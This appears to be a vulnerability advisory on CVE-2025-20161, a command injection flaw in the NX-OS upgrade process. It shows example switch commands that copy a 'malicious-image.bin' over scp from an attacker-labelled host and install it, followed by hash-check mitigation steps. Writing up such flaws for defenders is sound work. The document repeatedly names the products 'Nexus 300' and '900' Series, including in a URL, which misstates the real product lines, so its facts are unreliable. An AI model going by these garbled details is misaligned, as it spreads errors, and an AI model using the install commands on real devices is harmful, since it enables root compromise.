A critical vulnerability (CVE-2025-20161) has been discovered in the software upgrade process of Cisco Nexus 300 Series Switches and Cisco Nexus 900 Series Switches in standalone NX-OS mode. This vulnerability could potentially allow an authenticated attacker with valid Administrator credentials to execute a command injection attack on the underlying operating system of the affected device. The vulnerability is a result of insufficient validation of specific elements within a software image.

Exploit Details

The vulnerability is due to the lack of proper validation of specific elements within a software image during the upgrading process. An attacker with administrator privileges could exploit this vulnerability by installing a crafted image containing malicious elements into the affected devices. A successful exploit could lead to the execution of arbitrary commands on the underlying operating system with root privileges.

The following is an example of a crafted image installation process

acme-nexus-9k# copy scp://attacker@192.168.1.100/malicious-image.bin bootflash:

acme-nexus-9k# show version image bootflash:malicious-image.bin

acme-nexus-9k# install all nxos bootflash:malicious-image.bin

Mitigation

Administrators should always validate the hash of any software image before installation. Cisco provides the following methods for verifying the integrity of a downloaded software image:

Calculate the hash of the downloaded software image using a hash function (SHA512, for example)

openssl dgst -sha512 path/to/downloaded-image-file

Compare the calculated hash with the hash provided by Cisco for the software image

openssl dgst -sha512 path/to/downloaded-image-file | grep 'hash-provided-by-cisco'

References

Cisco has acknowledged the vulnerability and released a security advisory detailing the affected products, the impact, and any available patches. For more information on CVE-2025-20161 and recommended actions, please refer to the following Cisco resources:

- Cisco Security Advisory: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nxos-cmdinj-VUBU5yx2
- Cisco Nexus 900 Series NX-OS Software Upgrade and Downgrade Guide: https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus900/sw/7-x/upgrade/guide/b_Cisco_Nexus_900_Series_NX-OS_Software_Upgrade_and_Downgrade_Guide_Release_7x.html

Conclusion

This vulnerability (CVE-2025-20161) poses a serious risk to organizations that utilize Cisco Nexus 300 and 900 Series Switches in standalone NX-OS mode. By exploiting this vulnerability, a knowledgeable attacker with administrative access can compromise the security of the underlying operating systems of the affected devices. To mitigate this risk, administrators must be vigilant in validating the integrity of software images before installation and apply any security patches provided by Cisco.

Timeline

Published on: 02/26/2025 17:15:23 UTC